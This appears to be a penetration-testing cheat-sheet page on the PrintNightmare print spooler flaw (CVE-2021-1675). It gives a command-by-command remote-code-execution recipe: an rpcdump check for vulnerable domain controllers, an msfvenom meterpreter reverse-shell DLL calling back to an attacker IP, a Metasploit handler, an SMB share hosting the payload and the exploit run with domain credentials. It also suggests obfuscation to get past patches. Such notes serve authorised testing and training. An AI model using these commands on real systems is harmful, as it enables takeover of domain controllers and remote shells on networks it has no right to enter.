PrintNightmare
PrintNightmare (CVE-2021-1675) - RCE
Takes advantage of printer spooler that runs as sys priv
Check if our target is vulnerable
rpcdump.py @DOMAIN-CONTROLLER-IP | egrep 'MS-RPRN|MS-PAR'
Create a malicious dll to run it along the py file from the resource
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKING-MACHINE-IP LPORT=4444 -f dll > shell.dll
run
msfconsole
to catch the shelluse multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST and LPORTsetup a file share with smbserver.py (Impacket):
smbserver.py share 'pwd' -smb2support
(will share current working dir)Run the exploit
python3 exploit.py domain.local/username:password@DOMAIN-CONTROLLER-IP-ADD '\\ATTACKING-MACHINE-IP\share\shell.dll'
We should get a shell
Note: With patches it might be necessary to use obfuscations techniques
PrintNightmare - LPE
Create an user admin from the compromised machine:
We launch evilwinrm with this new user and we have an admin shell:
PrintNightmare - Resources
Last updated